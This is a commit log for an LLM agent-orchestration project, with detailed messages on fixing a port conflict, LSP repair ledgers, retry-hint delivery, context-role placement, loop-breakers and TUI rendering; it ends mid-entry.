48 Commits

Author SHA1 Message Date
claude 53f1ebfea9 Merge pull request 'Move the correx server off :8080 to :8090 (mavgpud port conflict)' (#3) from task/695-move-the-correx-server-off-8080-to-8090 into master 2026-08-11 12:13:12 +02:00
claude 4113ee9af4 Merge pull request 'Refresh the failure mandate in-loop when a write lands on a file the failure names' (#2) from task/461-refresh-the-failure-mandate-in-loop-when into master 2026-08-11 12:13:08 +02:00
claude 7dbfdcf081 fix(config,cli,tui): move the correx server off :8080 to :8090 (#695)
mavgpud.service, the Maven GPU supervisor, is an enabled systemd user unit that
binds *:8080 and restarts on kill. The correx server wanted the same port, so
qa-stack died with BindException and the QA stack never came up. Worse,
qa-stack's --stop ran `fuser -k 8080/tcp`, which killed mavgpud rather than a
correx server; systemd then restarted it straight into the port it had just
freed, so it won the race every time.

Moves the default to 8090 in the four places that have to agree: ServerConfig,
ConfigLoader's fallback, the CLI's DEFAULT_PORT, and the TUI's -port flag. A
mismatch between any two of them is a client that cannot find its own server.

The machine-local halves are not in this diff and were applied on disk:
`~/.config/correx/config.toml` pinned `port = 8080` explicitly, which overrides
the code default, and `scripts/` is gitignored so qa-stack.sh's five references
(including the --stop kill, now aimed at 8090) live only on this box.

Verified live: the server binds 8090 and answers /health while mavgpud keeps
8080. Left open in #695: mavgpud also spawns a llama-server on :10000, which is
qa-stack's router port, and qa-stack pkills that pattern.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-11 14:06:36 +04:00
claude 24b94aab28 feat(kernel): refresh a stale lsp_diagnostics mandate in-loop (#461)
On a gate-repair retry the failure text was frozen for the whole tool loop. The
agent edited the offending file, was told "written successfully", and kept
editing against a diagnostic it may already have cleared — it only found out
after stage_complete, when runPostStageGates re-ran from the top.

refreshLspRetryMandate hangs off the existing wroteThisRound hook: when the
pending retry mandate is an lsp_diagnostics failure and a write landed on a path
that failure names, re-pull diagnostics, record LspDiagnosticsCompletedEvent,
and rebuild the retryFeedback entry. buildRetryFeedbackEntry already renders
per-file freshness from that event, so the ledger flips to "done, leave it"
in-loop with no new message format and no context rebuild.

Two calls worth stating. The pull covers the stage's whole written set, not just
the named paths, because a path absent from the recorded event reads as clean to
fileRepairOutcomes — a partial pull would mark unrelated files repaired. A
skipped pull returns null rather than recording empty diagnostics, for the same
reason: telling the model to leave a still-broken file alone is worse than
leaving the stale text in place.

Scoped to LSP. A tsc or npm run build re-run per write is too expensive.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-02 14:28:12 +04:00
kami 32020b496a chore: ignore testing/integration/logs
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-02 13:47:27 +04:00
kami c70b6779a3 fix(context): name emit_artifact in the schema instruction (#416)
The pinned schemaInstruction said only "Respond with a single JSON object
matching this schema", contradicting every role prompt that says to emit via
the emit_artifact tool. Two stated channels for one artifact, and the pinned
one won.

ResponseFormat.Json is built under exactly the condition that offers the tool
(an llmEmitted slot — see emitArtifactTool), so the tool is always available
wherever this instruction renders, and the kernel prefers it: tool-calling
models are more reliable at it and it sidesteps llama.cpp's grammar+tools
incompatibility. The instruction now names it, and keeps raw JSON as what to do
when told to stop calling tools — which is what the tools-less final pass
demands and what the executor already accepts either way
(llmArtifactOverride ?: response.text).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-01 01:03:23 +04:00
kami a9196a0037 fix(context): render the stage role prompt as the system prompt (#416)
The role prompt was an L1/USER entry, so PromptRenderer emitted it as a user
turn behind the intent, decision journal, repo map and docs catalog, outranked
by the pinned schemaInstruction it contradicts. It is now L0/SYSTEM and folds
into the leading system message, and it sits directly after systemPrompt in
assembly so it heads the system block rather than trailing schemaEntries.

Extracted buildAgentPromptEntry so both the promptInline and prompt-path
branches build the entry one way. Guard test mutation-verified.

#416's finding 1 was wrong: the role prompt was never evictable. "agentPrompt"
is already in REQUIRED_SOURCE_TYPES, and DefaultContextPackBuilder exempts
REQUIRED entries from pruning at any layer. Layer was never the pinning
mechanism here; message placement was the whole defect.

Also pins groundingFeedback and recoveryTicket, the two feedback types that
were neither REQUIRED nor in neverDropSourceTypes. The recovery stage exists
only because of its ticket, so pruning the ticket left it nothing to repair.

Not done: reconciling the pinned schemaInstruction ("respond with JSON only")
against the role prompt's emit_artifact instruction, and live verification
across analyst/architect/role_pipeline.toml.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-01 00:57:58 +04:00
kami d1b84a1a9f fix(gates,tools): stop pinning deleted files; match edit targets across blank lines (#419, #417)
Both defects come from live session fced377e, where scaffold_frontend burned 89
turns without converging.

#419 — the stage output manifest never tracked deletions. A deletion is a
FileWrittenEvent with a null postImageHash, and stageWrittenPaths filtered that
per-event instead of per-path, so a written-then-deleted file stayed in the
manifest forever. The contract gate stamps file_exists on every entry, which made
deleting — and therefore renaming, which is delete plus write — a permanent
contract violation. That deadlocked against the build gate: it ordered "rename it
to use the '.cjs' file extension", the agent complied, and the contract gate then
failed file_exists on the .js it had just been told to remove. Keep the last
mutation per path instead. Fixed in the shared function, so the build-gate
toolchain probe, the review gate, and verification all stop seeing deleted files
too. Moved to its own file to keep the gates file under the detekt function cap.

#417 — file_edit failed 4 of 6 live calls, all "Target not found" with a correct
"did you mean" suggestion attached. flexibleMatch already tolerated indentation
drift but walked target lines against file lines positionally, so one blank line
the model dropped shifted every later index and missed the whole block. Compare
only non-blank lines and map the hit back to real file lines. Ambiguity still
fails rather than picking a match, and reindent keeps handling the writeback.

Guard tests both ways, each mutation-verified against the old logic.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-01 00:23:51 +04:00
kami 5ed8ebd0c5 fix(tui): render CoT once per turn, stop clipping tool output (#415, #414)
The reasoning trace was rendered twice: once as its own "thinking" row on
inference.completed, and again as a ✼ block on the following tool row, whose
Reasoning was copied from Model.lastReasoning. The fallback branch was worse —
lastReasoning is current model state, so every tool row with no Reasoning of its
own (all non-diff rows, all snapshot-restored rows) got the newest trace stamped
on it retroactively. Drop the block, the copy, and the now-dead
RouterEntry.Reasoning / Model.lastReasoning; the standalone row already covers
tool turns.

actionToolText clipped every summary to 48 columns, which cut tool output and —
worse — harness coach text: read-before-write rejections, write blocks, gate
feedback, exactly the messages that say whether the agent was steered or
silently blocked. The action renderer already wraps to panel width, so the clip
was the only single-line ceiling; raise it to 4000 chars.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-31 23:46:25 +04:00
kami 45a9fe3369 fix(tui): repaint the background after inner ANSI resets, and guard it
Wrapping already-styled text in a Background() style silently fails: an inner
"\x1b[0m" (glamour emits one per span) resets the background to the *terminal*
default, not to the enclosing lipgloss style, so every cell after the first
reset went transparent and the terminal wallpaper showed through. fillFrame only
pads tail gaps, so it never caught this.

paintBG splits on the reset and re-applies the background per segment, leaving
each segment's own foreground codes intact. Used for the markdown-rendered
router turn, whose old comment claimed the wrapping approach "keeps the opaque
panel" — it did not.

TestFrameHasNoTransparentCells asserts the property directly over every
render-matrix case: after any reset, no printable cell before a background SGR.
Verified non-vacuous — restoring the old line fails it on chat.turn (router).
This is the part that stops the next render site from reintroducing it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-31 23:22:31 +04:00
kami 8a9935ab6e docs(sprint): record #305 — all three ACR stores traced and closed
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 13:41:12 +04:00
kami d52a94e5b2 feat(acr): deliver the prior plan shape to discovery, not only the planner (#305)
Store 3's read side already existed but gated on `produces execution_plan`, so the
one stage #305 is actually about — discovery — still started cold. The gate now keys
on the produced artifact kind being a plan-shape consumer (execution_plan OR
discovery), with a discovery-specific framing: the prior run's stage list read as a
checklist of surfaces this task-family touches, to inspect now rather than at stage 6.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 13:35:17 +04:00
kami 34895b3d54 docs(sprint): close #299, #300, #260; #305/#261 status calls
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 13:08:45 +04:00
kami 4a730084f1 docs(sprint): record #307, #304, #309, #306
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 23:30:35 +04:00
kami f78c7f15ad fix(kernel): drop the steer-away hint after its first build, not just its first stage entry (#306)
bc5afa51 made unconfirmedFixEntries one-shot per RetryAttemptedEvent by folding
prior ContextAssembledEvent manifests. Correct, but it only guards the call
site — which runs ONCE per stage entry (SessionOrchestratorExecution.kt:250).
The entry it returns is folded into accumulatedEntries, and every pushBack /
tool-round rebuild rebuilds from that same list, so the hint rode along into
every turn of the stage regardless of the delivery fold. That is the reported
symptom: 7 consecutive turns in session d734e1de, one stage entry.

Drop sourceType=="unconfirmedFix" from accumulatedEntries once the first pack
is built and its delivery recorded. The fold still does the across-entries half.

./gradlew check green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 23:29:27 +04:00
kami bc5afa51b3 fix(kernel): make the ACR steer-away hint genuinely one-shot per retry (#306)
Root cause: unconfirmedFixEntries() re-derived the hint on every context
build from "the latest RetryAttemptedEvent for this stage," with no guard
on whether that retry occurrence had already been delivered. A single
contradicted retry (e.g. a workflow-routing dead end, gate="stage")
therefore kept re-injecting its "Steer away from a known dead end" block
on every subsequent stage retry/rebuild, even once the model had moved on
to a materially different sub-problem — live evidence: session d734e1de,
stage scaffold_frontend, injected on 7 consecutive turns.

Fix (direction 1 from the three proposed): key delivery to the specific
RetryAttemptedEvent occurrence and check whether it was already delivered
by folding prior ContextAssembledEvent manifests (#307) for
sourceType="unconfirmedFix"/sourceId=classKey recorded after that retry's
own sessionSequence — no new mutable state, replay-safe (invariant #9).
A fresh contradicted retry now injects exactly once; later rebuilds for
the same occurrence stay silent; a NEW RetryAttemptedEvent of the same
class (a real recurrence) earns one fresh injection.

Direction 2 (match the current turn's own classKey, not "latest in
stage") turned out to be already true by construction — classKey already
comes from the single "latest" retry being matched — so the mismatch in
the evidence was purely temporal/sticky, which direction 1 resolves.
Implementing 2 separately would have been redundant; noted rather than
silently dropped.

Direction 3 (tighten the signature so routing and build failures can't
collapse): already structurally true — routing dead-ends
("no transition condition matched...") only ever reach
RetryAttemptedEvent via DefaultRetryCoordinator.shouldRetry(), which
defaults gate="stage", while every other failure path uses .decide()
with its real gate (build/contract/lint/...). Since classKey = "$gate:
$normalizedSignature", the two families can never share a classKey.
Added a regression test locking this in rather than changing the scheme.

Docstring on unconfirmedFixEntries updated to describe the one-shot
mechanism precisely instead of just asserting it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 23:12:27 +04:00
kami 9db4e3dd4d fix(kernel): "not yet checked" must never read as "clean" in the repair ledger (#309)
fileRepairOutcomes mapped both "no diagnostic run after this write" and
"diagnostics ran and found nothing" to emptySet(), so resolved was true for a
file that was never actually re-checked. Two consequences, both the inverse of
what #309 is for:

- the ledger told the model "done, leave it" about a file whose last write was
  never verified — the precise mis-signal the tab-keeping exists to prevent;
- the loop-breaker counted unchecked writes as unresolved, so it could kill a
  run terminally on the ABSENCE of evidence rather than on recorded proof the
  rewrites weren't working.

Track it as a distinct `unchecked` state: the ledger says "not re-checked since
the last write — outcome unknown", and the breaker requires !unchecked.

./gradlew check green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 23:01:37 +04:00
kami ee69f9becc fix(kernel): recovery-internal same-file loop-breaker + repair ledger (#309)
Recovery runs freestyle for 3h+/800 events thrashing one file (22
rewrites, 9 rewrites of a single component) with no second
FailureTicketOpenedEvent ever firing, terminated only by human CANCEL.
Root cause: recovery is architected as ONE continuous ReAct loop
(deliberately generous maxToolRounds — most rounds are
re-investigation before the write), so the existing cumulative
tool-failure breaker (stage_loop_break, #78/#304) never fires: each
file_edit call itself SUCCEEDS, only the downstream lsp_diagnostics
gate keeps failing on the same file. The per-gate progress-aware
fingerprint is also unreliable here: it hashes the whole failure-reason
string, which can look "different" each round from unrelated
diagnostics elsewhere even while one file's defect never clears.

Fix — two consumers sharing one event-derived data source
(RecoveryFileLoopBreak.kt, FileRepairOutcome/fileRepairOutcomes):
correlates each FileWrittenEvent with the next LspDiagnosticsCompletedEvent
for the same path (invariant #9 — no re-observation, pure fold).

- Guard (recoveryFileLoopBreak, wired into DefaultSessionOrchestratorStep's
  enterStage before the normal gate-retry machinery): once a single path has
  been rewritten recoveryFileRewriteLimit times (default 3) without its
  diagnostic ever going clean, escalateRecoveryLoop opens a
  FailureTicketOpenedEvent (gate=recovery_loop_break, escalated=true, same
  machinery every other escalation uses) and fails the workflow terminally
  instead of looping again. Recovery is the last tier — there's nowhere
  further to route to.
- Ledger (buildRetryFeedbackEntry in ContextFeedback.kt): each
  already-written file in the trailing repair-mandate slot is now annotated
  with whether rewriting it actually moved the diagnostic, e.g.
  "SessionsList.tsx — written 3x. TS6133: present before AND after every
  write. Re-writing has not changed the result. Change the fix or report
  unresolvable." vs "MainLayout.tsx — written 2x. cleared after write 2.
  done, leave it." Existing trailing-slot precedence (recoveryTicket >
  retryFeedback > groundingFeedback > rejectionFeedback, #313) is untouched —
  this only changes retryFeedback's rendered content, still EntryRole.USER.

FileRepairOutcome/fileRepairOutcomes/describeFileRepairOutcome and the
recovery guard functions live in a new RecoveryFileLoopBreak.kt purely to
keep ContextFeedback.kt and DefaultSessionOrchestratorRecovery.kt under
detekt's per-file function-count threshold (11) — no behavioral reason
for the split.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 22:58:16 +04:00
kami 2b13f610e1 fix(kernel): reset the stage_loop_break window on recovery entry (#304)
Recovery was dying on a stale failure cap, not on anything recovery
itself did. detectRepeatedToolFailure (stage_loop_break, #78) counted
same-signature ToolExecutionFailedEvents cumulatively across the whole
stage. A stage routed to recovery, retried by the ladder, and routed
again would re-trip the SAME pre-recovery count on its very first
post-recovery round — recovery would burn a full expensive turn and
still fail on retryExhausted=true from stale evidence.

Fix: window the fold to events after the most recent
FailureTicketOpenedEvent naming the stage (mirrors the existing
BuildPrerequisiteBootstrapAttemptedEvent windowing pattern already used
by repeatedBuildCriticalReferenceBlock). A stage returning from a
genuine repair attempt now starts the count clean; it must accumulate
stageFailureLoopLimit (default 6) NEW failures post-recovery before
re-tripping.

This does not weaken RECOVERY_ROUTE_BUDGET/INTENT_ROUTE_BUDGET: those
are charged directly off FailureTicketOpenedEvent by the reducer
(OrchestrationState.recoveryRoutes/recoveryFailureFingerprints),
independent of this fold, and are deliberately left untouched by
TransitionExecutedEvent already. A full ladder round-trip therefore
stays bounded at RECOVERY_ROUTE_BUDGET(2) + INTENT_ROUTE_BUDGET(2)
route-in/route-out cycles, each itself requiring a fresh
stageFailureLoopLimit(6) failures to re-trip.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 22:57:54 +04:00
kami 68b5392e15 fix(context): emit the manifest on every context rebuild, not just the first (#307)
c742656e emitted ContextAssembledEvent only at the stage's initial
contextPackBuilder.build. But the question that motivated #307 — "did the ACR
steer-away hint fire on 7 consecutive turns?" — is a per-rebuild question:
unconfirmedFixEntries recomputes on every rebuild, which is exactly the #306
bug. With one event per stage the log still couldn't answer it.

Emit at all four build sites, matching emitContextTruncationIfNeeded's existing
placement: pushBack, the tool-round rebuild, and the tools-less clean emission.

./gradlew check green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 22:29:58 +04:00
kami c742656e15 feat(context): emit ContextAssembled manifest event per stage build (#307)
Root cause: context-assembly (unconfirmedFixEntries, promotedConceptEntries,
buildRetryFeedbackEntry, etc.) computes ContextEntry lists at stage-build time
but never records what was actually injected into a turn. The only way to
answer "did hint X fire in session Y" was decoding the CAS prompt artifact and
grepping raw JSON — the event log alone couldn't say.

Scope check: no existing event carries this (ContextTruncatedEvent only
reports drop counts, not the injected set) — added new ContextAssembledEvent
rather than extending an existing one.

Fix: ContextAssembledEvent (core/events/events/ContextEvents.kt) records ONE
manifest per stage's initial ContextPack build — sessionId, stageId,
contextPackId, and a List<ContextManifestEntry> of {sourceType, sourceId,
tokenEstimate, layer, role} pulled from the pack's actual (post-budget)
entries. No entry content — content stays a pure derived projection of the
event log (invariant #9/#6) and already lives in CAS. Registered in
eventModule (Serialization.kt). Emitted via
SessionOrchestrator.emitContextAssembled (SessionOrchestratorRepoContext.kt),
wired at the initial contextPackBuilder.build() call site in
SessionOrchestratorExecution.kt (mirrors emitContextTruncationIfNeeded).

Tests: ContextAssembledEventSerializationTest (round-trip + no-content-leak),
SessionOrchestratorIntegrationTest "stage context build emits
ContextAssembledEvent with a manifest (#307)".

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HgDL1v3GuQ9RZnYR6fDT95
2026-07-26 22:27:43 +04:00
kami 9b59b7c1aa docs(sprint): record the #40 profile migration
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:39:51 +04:00
kami fb8141d669 chore(profile): split build-gate commands per toolchain (#40 follow-through)
The repo hosts Kotlin at root and a Node app in frontend/, but the profile
still pointed every flat alias at npm — so a Kotlin run's auto-gate would
have run 'npm --prefix frontend run build'. #40 shipped [commands.<toolchain>]
resolution in 6e844ef1; this migrates the profile to actually use it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:39:38 +04:00
kami 7cfb4e92d1 fix(profile): declare a setup command so the build gate installs deps first
QA runs clear frontend/ before each run, taking node_modules with it. With
#263 making the terminal build gate actually fire, the gate would fail on
absent dependencies instead of on the code it exists to verify.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:36:40 +04:00
kami a7f5b9902f docs(sprint): correct the #191 note, file the setup-command gap as #314
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:34:13 +04:00
kami 1b3b2f401a docs(sprint): record Goal 1 progress — #310, #311, #263 landed
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:31:23 +04:00
kami 867e99d1cb fix(build-gate): a mid-plan declared build never suppresses the terminal floor (#263)
autoGateStages returned an empty set as soon as any stage declared
PROJECT/TESTS, so a plan that builds at stage 3 of 9 had nothing
verifying the six stages written after it. Keep the suppression for the
redundant per-writing-stage gates, always keep the terminal stage.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:27:09 +04:00
kami f61864ff1d fix(lsp-gate): lint-tagged diagnostics never fail a stage (#311)
tsserver tags TS6133 (unused import) Unnecessary, but a tsconfig with
noUnusedLocals promotes it to error severity — which hard-failed whole
runs no rewrite could clear. Carry LSP DiagnosticTag through the
LspDiagnostic event and gate on untagged errors only; lint diagnostics
stay recorded and visible.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:16:33 +04:00
kami c32445b8a8 docs(sprint): record the #312/#313 context message-type sweep
Landed out-of-band on 2026-07-26: upstream of Goal 1's gate verdicts and
Goal 3's recovery tickets, both of which deliver through the context
builders it touched. Drops #312 from the deferred table (its stated
dependency on #307 turned out to be unnecessary) and notes that #309 now
lands on top of the re-roled recoveryTicket.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:13:55 +04:00
kami a4f6cf0564 feat(context): role means message type, layer means pinning (#312/#313)
The system block is now for content that does not change during a run.
Anything the run mutates renders as a user message — both because a
mutating system prefix defeats prompt caching and because models
under-weight system-folded content against the trailing user turn.

PromptRenderer: role alone decides the message type; the old
`layer == L0 ||` clause is gone. That clause was silently overriding
role on four packs (InferenceSummarizer, SemanticReviewerImpl,
CapabilityGapReflectorImpl, Talkie session-naming) which are L0+USER
prompts — they were rendering as a system-only request with no user
turn at all.

Re-roled SYSTEM -> USER, all mutable within a run:
  recoveryTicket, remainingDelta, groundingFeedback, rejectionFeedback
  (trailing slot), plus verifiedBaseline, promotedConcept, claimedTask,
  clarificationAnswer, locked steeringNote, factSheet (inline, still
  L0-pinned).
Left SYSTEM (immutable): systemPrompt, operatingGuidance,
schemaInstruction, projectProfile, operatorProfile, agentInstructions,
successfulPlanShape.

Trailing-slot scarcity guard: repairMandateSourceTypes joined ALL
matches, so a recovery stage on a retry with an unmet delta would stack
three competing mandates. Now a precedence list emits exactly one
(recoveryTicket > retryFeedback > groundingFeedback > rejectionFeedback)
with remainingDelta appended as the completion signal.

ContextClassifier keys STATIC on layer alone — L0 means pinned/never
pruned regardless of role, so the re-roled L0 entries don't fall through
to FREEFORM and get token-pruned.

Also fixes a stale ContextFeedbackTest assertion (expected a CAS hash
the producer deliberately stopped emitting) and a stale initialIntent
doc comment claiming L0/SYSTEM where the code says L1/USER.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:10:26 +04:00
kami 514aeae75f docs(audit): context entry role/layer placement sweep (#312)
Audits every ContextEntry producer against PromptRenderer's three real
render destinations (system fold / inline / trailing user slot). Finds
four escalation-grade entries roled SYSTEM and therefore buried in the
leading system message: recoveryTicket, remainingDelta, groundingFeedback,
rejectionFeedback. remainingDelta additionally mutates the cached system
prefix every turn.

Report only, no code changes. Re-role work filed as #313.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:00:36 +04:00
kami a95475be2a fix: anchor LSP diagnostics to server readiness 2026-07-26 10:25:32 +04:00
kami 516af1ca96 feat: tighten freestyle discovery and analyst handoff 2026-07-26 10:22:05 +04:00
kami cf9eecc895 chore(qa): move Ethos design kit out of frontend/ into tracked design-system/
The kit (SKILL.md, ethos.tokens.css, ethos-icons.svg, .oxlintrc.json) lived
inside frontend/ — the exact dir freestyle runs scaffold into. vite refuses a
non-empty target, so every session improvised a stash-aside (frontend_backup/,
frontend_temp/) and left scratch dirs behind. Move the kit to a sibling
design-system/ so frontend/ starts clean, and deliver it via the L0 conventions
channel (project.toml) rather than seeding files in the scaffold target: copy
the token/icon assets in (don't read them), SKILL.md for rules only. Un-ignore
frontend/ so scaffolded output is tracked going forward.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HMbPmZZjcXhR2crU82zZ8S
2026-07-21 21:11:42 +04:00
kami ac4601562a fix(shell): timeout is recoverable + coaches detach, not a workflow kill
A foreground long-running command (npm run dev, vite, a --watch task) hit
the 30s timeout and returned recoverable=false, giving the stage no
transition to take -> WorkflowFailed "no transition condition matched"
(killed session d734e1de). A non-zero exit right below already returns
recoverable=true; a timeout is no more fatal. Return recoverable and coach
the model to start the process detached (nohup ... &) and verify separately,
or run a one-shot that exits. No background-process registry: the model
backgrounds it itself via `&`, which already routes through `sh -c`.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HMbPmZZjcXhR2crU82zZ8S
2026-07-21 20:38:04 +04:00
kami f5aaa255ef fix(l3): raise repo-map similarity floor 0.5→0.6 (stopgap) (#305)
L3 semantic retrieval does a bad job on the repo map: docs embed a terse symbol-list
descriptor while queries embed prose intent, an asymmetric comparison that collapses all
scores into a ~0.5 noise band (session 459: junk hits at 0.53/0.54, real relevance never
reached). At 0.5 the noise-winners cleared the bar and suppressed the deterministic
repo-map floor. 0.6 sits above the noise ceiling (~0.55) and below the real-signal floor
(0.68) so noise → empty → fall back to the repo map.

Band-aid, not a fix — the real remedy is a prose-shaped repo-file descriptor so query and
document share a representation space. Calibration knob, retune if the embedder changes.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HMbPmZZjcXhR2crU82zZ8S
2026-07-21 18:42:56 +04:00
kami 12775d56da refactor(acr): ACR Store 1 as a disposable memo, not a durable side-store (#305)
The shipped Store 1 persisted repo-file descriptors in a new SqliteObservationStore
— a second, unsynchronized SQLite writer on the event-log DB (no WAL/busy_timeout,
one shared Connection across coroutines) holding a fact the log already carries. That
violates "the event log is the only source of truth" (inv #1/#8): an Observation is
just FileWrittenEvent.path + postImageHash + describe(bytes).render(), and render is a
pure function of content-addressed CAS bytes.

Replace the whole durable apparatus with an in-process memo (descriptorMemo, keyed on
repoRoot+path+contentHash) on the orchestrator, next to the existing artifactContentCache.
Rebuilt from the log on restart, disposable, no external store. Preserves the perf win
(skip CAS read + regex on repeat describes) with none of the concurrency/lock risk.

Deletes: ObservationStore/InMemoryObservationStore/SqliteObservationStore (+ tests),
InfrastructureModule.createObservationStore, the FileReadTool priming path (which never
hit anyway — it keyed on a workspace-relative path while every consumer looks up the
absolute FileWrittenEvent.path), the FileReadConfig/SessionOrchestrator plumbing, and
five orphaned build.gradle deps.

Store 2 (soft-confidence hints) unchanged — it was correct.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HMbPmZZjcXhR2crU82zZ8S
2026-07-21 18:42:47 +04:00
kami 8806de1628 feat(acr): Store 2 soft-confidence hints + Store 1 FileReadTool priming (#305)
Store 2 (Fixes): ConceptCompilerProjection already tracked the
unconfirmed(validatedFixes>=1)/falsified(contradicted)/confirmed(promoted)
lifecycle as data, but only confirmed (>=threshold) clusters were ever
delivered. unconfirmedFixEntries reactively matches the CURRENT retry's
classKey against that state and injects a soft one-shot hint (below
threshold) or steer-away (contradicted) before hard promotion — wired
into stage context build in SessionOrchestratorExecution.kt.

Store 3 (Plan-shapes): already shipped as SessionOrchestratorPlanPatterns.kt
(deterministic keyword-Jaccard over eventStore.allEvents(), no embedder
needed) — confirmed complete, no new code required.

FileReadTool hot-path extension to Store 1: a whole-file read now primes
the cross-session ObservationStore (when wired) the same way the write
path already does, so a later describeCached lookup for the same content
hash is warm even if the file was only read, not written, this session.
2026-07-21 17:55:19 +04:00
kami 5df35879eb feat(acr): ACR Store 1 — content-hash observation cache for repo-file descriptors (#305)
Adds ObservationStore (core:context) keyed on (repoRoot, path), an in-memory default and
a durable SqliteObservationStore (infrastructure:persistence), and wires it into the two
SessionOrchestratorArtifacts call sites that re-derive a SourceDescriptor from CAS bytes
on every call — a hit on matching content hash skips both the CAS read and the regex
extraction. First slice of docs/plans/2026-07-21-acr-knowledge-accretion.md (build order:
observations before fixes/plan-shapes).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HMbPmZZjcXhR2crU82zZ8S
2026-07-21 17:37:25 +04:00
kami f08a784432 fix(orchestration): break the no-op-write loop + un-rot retry feedback
A stage (configure_ethos_theme) looped forever re-writing an identical
postcss.config.js: file_write returned "written successfully" on a byte-
identical write, and the retry-feedback entry that says WHY it failed got
truncated out of context every turn, so the model cold-started on the same
wrong idea. CAS hashes leaked into its face from two sides too.

- SandboxedToolExecutor: a write whose result is byte-identical to disk now
  returns "No change: … nothing was written" (+ noop=true) instead of a false
  success signal. Uses the pre-image hashes already captured for reversibility.
- DefaultContextPackBuilder: pin "retryFeedback" in neverDropSourceTypes so the
  failure reason + already-written-files list survives truncation.
- ContextFeedback: drop the opaque "— CAS <hash>" from the retry entry; path only.
- tool_output withheld until the session actually spills over-cap output to CAS
  (StageConfig.ALWAYS_AVAILABLE_READ_TOOLS -> on-demand via sessionHasSpilledOutput),
  so a hash-eating tool isn't advertised to every stage that never spills.
- Wrap 10 long lines in kernel to bring detekt back under maxIssues (99 -> 89).

Tests: infrastructure:tools (+2 no-op cases), core:{transitions,context,kernel} green.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-21 15:22:39 +04:00
kami 8a60778ca7 merge: integrate tui-vikunja (#295,#296,#298,#265) into HEAD 2026-07-21 11:55:41 +04:00
kami d6155691c8 feat(tui): token metrics aggregation, plan overlay, tool reasoning, clar dismissal
#295 — include narration_llm tokens in changes-panel aggregate count
#296 — execution plan overlay (Ctrl+P in-session)
#298 — surface reasoning/CoT on tool-call turns in output view
#265 — dismiss clarification modal when answered externally (session.resumed)
2026-07-21 11:52:00 +04:00
kami dc5b24e75f fix(events): register WriteScopeGrantedEvent in eventModule (#301 silent-deser trap)
The #301 escalation event shipped unregistered — it would silently fail to
deserialize on replay, dropping the persisted write-scope grant and re-prompting
the same path every session restart (breaks replay invariant).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-21 11:44:51 +04:00
kami 28d369ebce merge: integrate sonnet-vikunja (#299,#300,#297,#301) into codex handoff HEAD
# Conflicts:
#	core/kernel/src/main/kotlin/com/correx/core/kernel/orchestration/OrchestrationTuning.kt
#	examples/workflows/prompts/analyst_freestyle.md
2026-07-21 11:43:05 +04:00
kami 8cc418a381 feat(orchestration): escalate repeated scope/manifest write-block to user approval (#301)
Small models frequently fail to comply with the WRITE_SCOPE/PATH_OUTSIDE_MANIFEST
remediation ("add its path via task_update affected_paths") and instead thrash the
same out-of-scope write call turn after turn, burning the session without ever
completing. After `tuning.escalateScopeAfterN` (default 3) consecutive rejections
of the SAME path for a scope/manifest reason, the orchestrator now reaches back to
the FIRST rejected invocation of that path (its pristine, pre-degraded arguments),
and routes it through the existing approval/pause flow instead of rejecting again.
On approval, a new WriteScopeGrantedEvent widens the effective write manifest for
that path for the rest of the session (mirroring how OutsidePathAccessGrantedEvent
